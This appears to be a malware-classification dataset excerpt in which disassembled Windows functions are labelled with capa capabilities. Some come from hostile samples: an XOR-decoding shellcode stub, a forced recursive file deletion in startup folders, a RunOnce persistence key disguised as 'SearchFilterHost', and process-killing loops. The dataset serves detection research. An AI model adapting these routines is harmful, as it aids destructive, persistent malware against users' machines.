joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48aab3
Capabilities:
Hash data using murmur3

Disassembly:
ror eax, 3
xor edi, 0xeb55f24
rol esi, 0x11
add edx, 0xea7338f
not esi
xchg edi, eax
sub esi, eax
not edx
call fcn.00404ca1
ror esi, 0x1d
xor esi, eax
xor esi, eax
rol esi, 0x1d
not edx
add esi, eax
xchg edi, eax
not esi
sub edx, 0xea7338f
ror esi, 0x11
xor edi, 0xeb55f24
rol eax, 3
sub edi, eax
add esi, eax
xchg edx, eax
add eax, 0x192997f8
call fcn.00409f48
dec esi
not edi
rol esi, 0x1b
dec edx
sub ecx, esp
add ebx, ebp
push 0x416c6175
not edx
ror esi, 0x17
not ebx
call fcn.00406a89
dec ebx
not ebx
call fcn.004030e1
push dword [ebx]
cld
xor ecx, esp
rol esi, 0x15
xchg edx, eax
xor edx, ebp
add ecx, 0x30be856
neg esi
neg esi
sub ecx, 0x30be856
xor edx, ebp
xchg edx, eax
ror esi, 0x15
xor ecx, esp
xor edi, esp
call fcn.004051f1
not ebx
inc ebx
not ebx
rol esi, 0x17
not edx
push 0x74726956
xor esi, 0x698c167
not eax
call fcn.004075c1
xor ecx, 0x21651938
neg eax

Function at 0x48ab2a
Capabilities:
Hash data using murmur3

Disassembly:
ror eax, 3
xor edi, 0xeb55f24
rol esi, 0x11
add edx, 0xea7338f
not esi
xchg edi, eax
sub esi, eax
not edx
call fcn.00404ca1
ror esi, 0x1d
xor esi, eax
xor esi, eax
rol esi, 0x1d
not edx
add esi, eax
xchg edi, eax
not esi
sub edx, 0xea7338f
ror esi, 0x11
xor edi, 0xeb55f24
rol eax, 3
sub edi, eax
add esi, eax
xchg edx, eax
add eax, 0x192997f8
call fcn.00409f48
dec esi
not edi
rol esi, 0x1b
dec edx
sub ecx, esp
add ebx, ebp
push 0x416c6175
not edx
ror esi, 0x17
not ebx
call fcn.00406a89
dec ebx
not ebx
call fcn.004030e1
push dword [ebx]
cld
xor ecx, esp
rol esi, 0x15
xchg edx, eax
xor edx, ebp
add ecx, 0x30be856
neg esi
neg esi
sub ecx, 0x30be856
xor edx, ebp
xchg edx, eax
ror esi, 0x15
xor ecx, esp
xor edi, esp
call fcn.004051f1
not ebx
inc ebx
not ebx
rol esi, 0x17
not edx
push 0x74726956
xor esi, 0x698c167
not eax
call fcn.004075c1
xor ecx, 0x21651938
neg eax
Function at 0x48bbd0
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0048bbdb

Function at 0x48d2bc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0048d2c7
Function at 0x40525f
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
lea eax, [ebp - 4]
push esi
push eax
push esi
mov ebx, ecx
call dword [sym.imp.ntdll.dll_RtlGetDeviceFamilyInfoEnum]
cmp dword [ebp - 4], 3
je 0x405290
cmp dword [ebp - 4], 9
je 0x405290
cmp dword [ebp - 4], 0xd
je 0x405290
xor ebx, ebx
inc ebx
jmp 0x4052e8
lea eax, [ebp - 8]
push eax
push 0x20019
push esi
push 0x4018f0
push 0x80000002
call sub.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW
test eax, eax
jne 0x4052e8
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 4
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push 0x401948
push dword [ebp - 8]
call sub.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW
test eax, eax
jne 0x4052e0
cmp dword [ebp - 0x10], 4
jne 0x4052e0
xor ebx, ebx
cmp dword [ebp - 0x14], ebx
setne bl
push dword [ebp - 8]
call sub.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x7ffe547a
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword fs:[0x30]
call 0x7ffe5485
pop edx
xor dx, dx
add edx, 0xd5e0
xor ecx, ecx
and al, 0xff
nop
mov cl, 0x1e
inc esi
dec esi
xor byte [ecx + edx], 0x23
loop 0x7ffe5498
clc
push dword fs:[0x24]
pop dword [edx + 0xa]
add eax, 0
mov cl, 0xff
and al, 0xff
push edx
loop 0x7ffe54b0
cld
mov dword [edx + 0x11], 0xffffacbb
mov ecx, dword [eax + 0x2c]
nop
add al, 0
mov dword [edx + 0x1b], ecx
inc esi
dec esi
mov dword [edx + 0x100], ecx
nop
mov dword [eax + 0x2c], esp
push 0
and bh, 0xff
push 0
push es
pop ds
push 0
cld
push 0
push 0x30
and al, 0xff
cld
push 0x20
push eax
pop eax
push 0
cld
push 0
add edx, 0xffff7f37
push edx
cdq
pop edx
push edx
push es
pop ds
push edx
cld
push 0
call dword [edx + 0x820c]
add eax, 0
add esp, 0x3f8
inc esi
dec esi
xor eax, eax
nop
inc eax
ret 0xc
Function at 0x42965c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42969b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42969b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42969b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42969b
cmp dword [ecx + 0x74], 0xe
jbe 0x42969b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42c2c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42c2ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42c2ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42c682
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x437758
push 0x437750
push str.FlsAlloc
push 0x1f
call fcn.0042c965
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42c6b6
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x42c6bc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42c700
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x437768
push 0x437760
push str.FlsGetValue
push 0x21
call fcn.0042c965
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42c737
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x42c73f
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x437770
push 0x437768
push str.FlsSetValue
push 0x22
call fcn.0042c965
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42c779
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x43020a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4302a7
push ebx
push esi
call fcn.004302aa
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0043010e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x430254
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4302a6
push edi
push eax
call fcn.0042eb9b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x430274
call fcn.0042dc4b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4302a5
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0043010e
add esp, 0x20
test eax, eax
jne 0x430293
push edi
call fcn.0042dc4b
jmp 0x43029b
push ebx
call fcn.0042dc4b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0xa9c810
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00a9d550
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00a9d550
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0xa9c870
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0xaa1074]
test esi, esi
jle 0xa9c990
mov eax, dword [0xaa1078]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0xa9c8a4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0xa9c927
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0xa9c890
mov dword [esp], ebx
call fcn.00a9d260
mov edi, eax
test eax, eax
je 0xa9c9b7
mov eax, dword [0xaa1078]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00a9d3a0
mov edx, dword [0xaa1078]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0xa9c997
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0xa9c920
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0xa9c930
add dword [0xaa1074], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0xaa1078]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0xa9c920
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00a9c810
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0xa9c8ae
mov eax, dword [0xaa1078]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00a9c810
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00a9c810
lea esi, [esi]
nop
Function at 0xa9ced0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0xaa1090
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0xaa1088]
sub esp, 4
test ebx, ebx
je 0xa9cf25
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0xa9cf1e
test esi, esi
je 0xa9cf1e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0xa9cf00
mov dword [esp], 0xaa1090
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0xa9d260
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0xa9d285
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0xa9d290
ret
cmp word [ecx + 0x400018], 0x10b
jne 0xa9d285
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0xa9d2d8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xa9d2ce
add edx, dword [eax + 8]
cmp ebx, edx
jb 0xa9d2da
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0xa9d2c0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x412bdb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00412a5a

Function at 0x416f3f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004168ad

Function at 0x416f4a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416ae8

Function at 0x408954
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x4085d8
pop edi
sub ecx, edx
call fcn.00408983
push ecx
pop ecx
mov edx, 0x35c598ad
xor dword [esi], edi
sub esp, 4
mov dword [esp], 0x9c311a22
pop edx
inc esi
cmp esi, eax
jne fcn.00408954
inc edx
and edx, edx
ret
Function at 0x4015f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.004058e0
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov ecx, 5
mov word [ebp - 0x30], cx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret

Function at 0x401b40
Capabilities:
Create process on windows
Delete file
Get common file path
Get startup folder
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2ee8
call fcn.00405af0
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 0xb
mov esi, str.CMD__C_DEL__F__S__Q__
lea edi, [ebp - 0x2ee8]
rep movsd dword es:[edi], dword [esi]
push 0xf74
push 0
lea eax, [ebp - 0x2ebc]
push eax
call fcn.004058e0
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0xfa8], cx
push 0xf9e
push 0
lea edx, [ebp - 0xfa6]
push edx
call fcn.004058e0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x1f48], ax
push 0xf9e
push 0
lea ecx, [ebp - 0x1f46]
push ecx
call fcn.004058e0
add esp, 0xc
push 0
push 7
lea edx, [ebp - 0xfa8]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0xfa8]
push eax
lea ecx, [ebp - 0x2ee8]
push ecx
call fcn.00405a9b
add esp, 8
push str..__
lea edx, [ebp - 0x2ee8]
push edx
call fcn.00405a9b
add esp, 8
push 0
push 0
lea eax, [ebp - 0x2ee8]
push eax
push 0x412414
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0x1c
lea ecx, [ebp - 0x1f48]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x4123f8
lea edx, [ebp - 0x1f48]
push edx
call fcn.00405a9b
add esp, 8
push 0x80
lea eax, [ebp - 0x1f48]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x1f48]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x4123f4
lea edx, [ebp - 0x1f48]
push edx
call fcn.00405a9b
add esp, 8
push 0x80
lea eax, [ebp - 0x1f48]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x1f48]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405605
mov esp, ebp
pop ebp
ret
Function at 0x401cb0
Capabilities:
Create process on windows
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1f48
call fcn.00405af0
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 0xb
mov esi, str.CMD__C_DEL__F__S__Q__
lea edi, [ebp - 0x1f48]
rep movsd dword es:[edi], dword [esi]
push 0xf74
push 0
lea eax, [ebp - 0x1f1c]
push eax
call fcn.004058e0
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0xfa8], cx
push 0xf9e
push 0
lea edx, [ebp - 0xfa6]
push edx
call fcn.004058e0
add esp, 0xc
push 0
push 0x18
lea eax, [ebp - 0xfa8]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [ebp - 0xfa8]
push ecx
lea edx, [ebp - 0x1f48]
push edx
call fcn.00405a9b
add esp, 8
push str..__
lea eax, [ebp - 0x1f48]
push eax
call fcn.00405a9b
add esp, 8
push 0
push 0
lea ecx, [ebp - 0x1f48]
push ecx
push 0x412414
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405605
mov esp, ebp
pop ebp
ret

Function at 0x401d80
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], VariantInit
mov dword [ebp - 0x10], str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
mov dword [ebp - 0xc], 2
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
je 0x401ddf
jmp 0x401ead
xor ecx, ecx
mov word [ebp - 0x220], cx
push 0x206
push 0
lea edx, [ebp - 0x21e]
push edx
call fcn.004058e0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x428], ax
push 0x206
push 0
lea ecx, [ebp - 0x426]
push ecx
call fcn.004058e0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x428]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.cmd__c__
lea eax, [ebp - 0x220]
push eax
call fcn.00405acc
add esp, 8
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x220]
push edx
call fcn.00405a9b
add esp, 8
push str.____zxcv
lea eax, [ebp - 0x220]
push eax
call fcn.00405a9b
add esp, 8
lea ecx, [ebp - 0x220]
push ecx
call fcn.00405b1b
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x220]
push eax
push 1
push 0
push str.SearchFilterHost
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x42c], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00405605
mov esp, ebp
pop ebp
ret
Function at 0x4028c0
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1220
call fcn.00405af0
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x1008], 0
push 0xffc
push 0
lea eax, [ebp - 0x1004]
push eax
call fcn.004058e0
add esp, 0xc
mov dword [ebp - 0x100c], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push 0x1000
lea edx, [ebp - 0x1008]
push edx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x402926
jmp 0x402a8d
mov eax, dword [ebp - 4]
shr eax, 2
mov dword [ebp - 0x100c], eax
mov dword [ebp - 0x1010], 0
jmp 0x40294d
mov ecx, dword [ebp - 0x1010]
add ecx, 1
mov dword [ebp - 0x1010], ecx
mov edx, dword [ebp - 0x1010]
cmp edx, dword [ebp - 0x100c]
jae 0x402a8d
xor eax, eax
mov word [ebp - 0x1218], ax
push 0x206
push 0
lea ecx, [ebp - 0x1216]
push ecx
call fcn.004058e0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x1218]
push edx
mov eax, dword [ebp - 0x1010]
mov ecx, dword [ebp + eax*4 - 0x1008]
push ecx
call fcn.00402850
add esp, 0xc
test eax, eax
je 0x402a88
lea edx, [ebp - 0x1218]
push edx
call fcn.00405b1b
add esp, 4
cmp eax, 4
jae 0x4029be
jmp 0x40293e
mov dword [ebp - 0x121c], 0
jmp 0x4029d9
mov eax, dword [ebp - 0x121c]
add eax, 1
mov dword [ebp - 0x121c], eax
mov ecx, dword [ebp - 0x121c]
cmp ecx, dword [0x418604]
jge 0x402a88
mov edx, dword [ebp - 0x121c]
imul edx, edx, 0x208
add edx, 0x418710
push edx
call fcn.00405b1b
add esp, 4
cmp eax, 4
jbe 0x402a83
lea eax, [ebp - 0x1218]
push eax
mov ecx, dword [ebp - 0x121c]
imul ecx, ecx, 0x208
add ecx, 0x418710
push ecx
call fcn.00405cc8
add esp, 8
test eax, eax
jne 0x402a83
mov edx, dword [ebp - 0x1010]
mov eax, dword [ebp + edx*4 - 0x1008]
push eax
push 0
push 0x11
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1220], eax
cmp dword [ebp - 0x1220], 0
je 0x402a83
push 0
mov ecx, dword [ebp - 0x1220]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
mov edx, dword [ebp - 0x1220]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x1220]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4029ca
jmp 0x40293e
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405605
mov esp, ebp
pop ebp
ret
Function at 0x402aa0
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x121c
call fcn.00405af0
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x1008], 0
push 0xffc
push 0
lea eax, [ebp - 0x1004]
push eax
call fcn.004058e0
add esp, 0xc
mov dword [ebp - 0x100c], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push 0x1000
lea edx, [ebp - 0x1008]
push edx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x402b06
jmp 0x402bee
mov eax, dword [ebp - 4]
shr eax, 2
mov dword [ebp - 0x100c], eax
mov dword [ebp - 0x1010], 0
jmp 0x402b2d
mov ecx, dword [ebp - 0x1010]
add ecx, 1
mov dword [ebp - 0x1010], ecx
mov edx, dword [ebp - 0x1010]
cmp edx, dword [ebp - 0x100c]
jae 0x402bee
xor eax, eax
mov word [ebp - 0x1218], ax
push 0x206
push 0
lea ecx, [ebp - 0x1216]
push ecx
call fcn.004058e0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x1218]
push edx
mov eax, dword [ebp - 0x1010]
mov ecx, dword [ebp + eax*4 - 0x1008]
push ecx
call fcn.00402850
add esp, 0xc
test eax, eax
je 0x402be9
lea edx, [ebp - 0x1218]
push edx
call fcn.004020d0
add esp, 4
test eax, eax
je 0x402be9
mov eax, dword [ebp - 0x1010]
mov ecx, dword [ebp + eax*4 - 0x1008]
push ecx
push 0
push 0x11
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x121c], eax
cmp dword [ebp - 0x121c], 0
je 0x402be9
push 0
mov edx, dword [ebp - 0x121c]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
mov eax, dword [ebp - 0x121c]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x121c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402b1e
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405605
mov esp, ebp
pop ebp
ret

Function at 0x402c00
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00405af0
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x1008], 0
push 0xffc
push 0
lea eax, [ebp - 0x1004]
push eax
call fcn.004058e0
add esp, 0xc
mov dword [ebp - 0x100c], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push 0x1000
lea edx, [ebp - 0x1008]
push edx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x402c63
jmp 0x402cb0
mov eax, dword [ebp - 4]
shr eax, 2
mov dword [ebp - 0x100c], eax
mov dword [ebp - 0x1010], 0
jmp 0x402c8a
mov ecx, dword [ebp - 0x1010]
add ecx, 1
mov dword [ebp - 0x1010], ecx
mov edx, dword [ebp - 0x1010]
cmp edx, dword [ebp - 0x100c]
jae 0x402cb0
mov eax, dword [ebp - 0x1010]
mov ecx, dword [ebp + eax*4 - 0x1008]
push ecx
call fcn.00401ec0
add esp, 4
jmp 0x402c7b
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405605
mov esp, ebp
pop ebp
ret